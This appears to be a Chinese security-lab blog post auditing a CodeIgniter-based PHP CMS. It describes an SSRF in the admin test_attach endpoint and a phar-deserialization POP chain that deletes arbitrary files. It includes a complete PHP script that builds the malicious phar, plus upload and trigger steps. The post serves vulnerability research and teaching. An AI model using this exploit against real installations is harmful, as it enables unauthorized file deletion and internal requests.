导语:
一开始心血来潮想审计PHP代码,于是网上找了找某CMS最新版,最近好像没出过什么大洞,于是想审计一下,跟随之前大佬挖漏洞的思路,尝试挖掘一下最新版的漏洞。
SSRF漏洞原理
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造形成由服务器端发起请求的安全漏洞。攻击者可以通过SSRF攻击内部系统,如果该系统配置不当,可能会导致数据泄露、服务暴露、内网穿透等问题。
SSRF漏洞函数
dr_catcher_data
/Fcms/Core/Helper.php
函数部分代码
* 调用远程数据 curl获取
*
* @param $url
* @param $timeout 超时时间,0不超时
* @param $is_log 0表示请求失败不记录到系统日志中
* @param $ct 0表示不尝试重试,1表示重试一次
* @return 请求结果值
*/
function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {
if (!$url) {
return '';
}
// 获取本地文件
if (strpos($url, 'file://') === 0) {
return file_get_contents($url);
} elseif (strpos($url, '/') === 0 && is_file(WEBPATH.$url)) {
return file_get_contents(WEBPATH.$url);
} elseif (!dr_is_url($url)) {
if (CI_DEBUG && $is_log) {
log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
}
return '';
}
触发SSRF漏洞点
test_attach
/Fms/Control/Admin/Api.php/test_attach
/**
* 测试远程附件
*/
public function test_attach() {
$data = \Phpcmf\Service::L('input')->post('data');
if (!$data) {
$this->_json(0, dr_lang('参数错误'));
}
$type = intval($data['type']);
$value = $data['value'][$type];
if (!$value) {
$this->_json(0, dr_lang('参数不存在'));
} elseif ($type == 0) {
if (substr($value['path'],-1, 1) != '/') {
$this->_json(0, dr_lang('存储路径目录一定要以"/"结尾'));
} elseif ((dr_strpos($value['path'], '/') === 0 || dr_strpos($value['path'], ':') !== false)) {
if (!is_dir($value['path'])) {
$this->_json(0, dr_lang('本地路径[%s]不存在', $value['path']));
}
} elseif (is_dir(SYS_UPLOAD_PATH.$value['path'])) {
} else {
$this->_json(0, dr_lang('本地路径[%s]不存在', SYS_UPLOAD_PATH.$value['path']));
}
}
$rt = \Phpcmf\Service::L('upload')->save_file(
'content',
'this is phpcmf file-test',
'test/test.txt',
[
'id' => 0,
'url' => $data['url'],
'type' => $type,
'value' => $value,
]
);
if (!$rt['code']) {
$this->_json(0, $rt['msg']);
} elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false) {
$this->_json(1, dr_lang('测试成功:%s', $rt['data']['url']));
}
$this->_json(0, dr_lang('无法访问到附件: %s', $rt['data']['url']));
}
分析得到,下面
$data = \Phpcmf\Service::L('input')->post('data');
elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false)
post请求中,data['url'] 途中没有任何过滤 就给到了 dr_catcher_data()函数,但是dr_catcher_data函数可以处理file,http等协议的函数封装。如封装了,file_get_contents、curl_exec等。造成了ssrf的漏洞。
反序列化
任意文件删除
phar反序列化漏洞点
我们直接找 文件函数:is_dir,file_exist等等
在源码路径:/Fms/Control/Admin/Api.php里面
其实很多个功能都存在 phar反序列化触发点
test_attach
POP查找
链一(失败)
序列化代码
//需要第一类来new一下
namespace CodeIgniter\Publisher;
class Publisher
{
public $scratch = "../1";
//通过__destruct触发 delete scratch
//通过new 对象 触发__construct helper('filesystem'),因为deltete用到了filesystem方法。
}
namespace CodeIgniter\Cache\Handlers;
class MemcachedHandler
{
public $prefix;
public __construct()
{
this->$prefix = new CodeIgniter\Publisher\Publisher(); //触发构造方法 和 销毁方法
}
}
var_dump(serialize(new MemcachedHandler()))
POP链
Publisher:construc.helper(['filesystem']) -> destruct() -> wipeDirectory() -> delete_files()
detele_files() 函数 需要由引入 helper(['filesystem']);
思路:通过 MemcachedHandler 任意属性 调用new Publisher 触发 helper('filesystem') 引入delete_files()类
分析
先看看几个重要的方法(简化)
Publisher
__construct方法()
helper(['filesystem']);
__destruct()方法
public function __destruct()
{
self::wipeDirectory($this->scratch);
}
wipeDirectory方法
private static function wipeDirectory(string $directory): void
{
$attempts = 10;
while ((bool) $attempts && ! delete_files($directory, true, false, true)) {
$attempts--;
}
@rmdir($directory);
}
失败原因
显示delete_files()不存在
总结
反序列化过程,不会创建对象。不管序列化中new在何处,也只是告诉解析器 new这个位置 需要替换 该类型对象的属性。
反序列化原理:创建空对象,把属性值传递进去(本质,属性替换)
链子二
序列化代码
<?php
//=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey)
namespace CodeIgniter\Cache\Handlers;
class FileHandler
{
public $prefix;
public $path;
public function __construct()
{
$this->prefix='';
$this->path='';
}
}
//=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey)
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler
{
public $lockKey; //传入delete()的值
public $memcached;
public function __construct()
{
//$this->memcached->detele($this->lockKey);
$this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test"; //文件路径
$this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler(); //触发下一个delete
}
}
//==========RedisHandler中destruct有this->redis->close()
namespace CodeIgniter\Cache\Handlers;
class RedisHandler
{
public $redis;
public function __construct()
{
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(); //指向MemcachedHandler对象
}
//因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。
}
$o = new new RedisHandler());
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
序列化字符串
string(275) "O:39:"CodeIgniter\Cache\Handlers\RedisHandler":1:{s:5:"redis";O:45:"CodeIgniter\Session\Handlers\MemcachedHandler":2:{s:9:"memcached";O:38:"CodeIgniter\Cache\Handlers\FileHandler":2:{s:6:"prefix";s:0:"";s:4:"path";s:0:"";}s:7:"lockKey";s:29:"D:\phpstudy_pro\WWW\test.test";}}"
POP链
RedisHandler __destruct() -> MemcachedHandler close() -> FileHandler delete()
分析
RedisHandler
__destruct
调用了$this->redis->close()
public function __destruct()
{
if (isset($this->redis)) {
$this->redis->close();
}
}
redis改为 MemcachedHandle对象
MemcachedHandler
实现close()
public function close(): bool
{
if (isset($this->memcached)) {
if (isset($this->lockKey)) {
$this->memcached->delete($this->lockKey);
}
if (! $this->memcached->quit()) {
return false;
}
$this->memcached = null;
return true;
}
return false;
}
找delete,存在this->memcached->delete($this->lockKey);
FileHandler
namespace CodeIgniter\Cache\Handlers;
public function delete(string $key)
{
$key = static::validateKey($key, $this->prefix);
return is_file($this->path . $key) && unlink($this->path . $key);
}
同时,$key为 MemcachedHandler的lockKey
总结
找POP链的时候,需要无限套娃,一个对象套一个对象。可以利用的类一般是需要有命名空间。我们第一步找到 destruct方法,看看destruct观察:可控变量与方法。 第二步:1.根据方法,全局搜索实现的类 2.根据方法传入参数个数类型,全局找到使用__call魔术方法的类进行分析。第三步,无限套娃 找到能够触发我们目标功能(RCE,任意文件删除,任意文件写入等等)
Phar反序列化任意文件删除利用
准备工作
漏洞点在 Controler/Admin/Api.php
http://xxxcms-study/admina516ce184c2e.php?c=Api&m=test_attach
phar://D:/phpstudy_pro/WWW/phar.jpg/test.txt
生成phar利用文件脚本
<?php
//=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey)
namespace CodeIgniter\Cache\Handlers;
class FileHandler
{
public $prefix;
public $path;
public function __construct()
{
$this->prefix='';
$this->path='';
}
}
//=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey)
namespace CodeIgniter\Session\Handlers;
class MemcachedHandler
{
public $lockKey; //传入delete()的值
public $memcached;
public function __construct()
{
//$this->memcached->detele($this->lockKey);
$this->lockKey = "D:\\phpstudy_pro\\WWW\\test.test"; //删除的文件路径
$this->memcached = new \CodeIgniter\Cache\Handlers\FileHandler(); //触发下一个delete
}
}
//==========RedisHandler中destruct有this->redis->close()
namespace CodeIgniter\Cache\Handlers;
use Phar;
class RedisHandler
{
public $redis;
public function __construct()
{
$this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(); //指向MemcachedHandler对象
}
//因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。
}
$o = new RedisHandler();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
利用过程
phar文件上传点
(原本想试试头像上传的,发现文件被压缩,就找了个上传附件的位置)
http://xxxxcms-study/index.php?s=member&app=news&c=home&m=add
第一步,来到文章发布的后台(需要有附件上传权限)
发布内容中,下面有个附件上传
这里可以显示上传的内容(zip,rar,txt,doc),我们只需要把phar.phar包 该后缀满足白名单就行,我改为phar.txt
点击上传后的附件,会弹出一个 url。我们只需要拿到 /upload 后面的 构造phar://语句
phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt
Phar反序列化点
备注:test_attach 函数作为利用点。
需要反序列化执行的命令
phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt
到这边,需要选择完整模式 -> 系统附件设置 -> 附件上传目录(输入我们的命令) 点击检测
反序列化出来了我们的FileHandler对象,说明反序列化攻击成功,我们的文件也成功被删除。
本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。
转载须知:
如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。
感谢各位师傅们的理解与支持。
本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。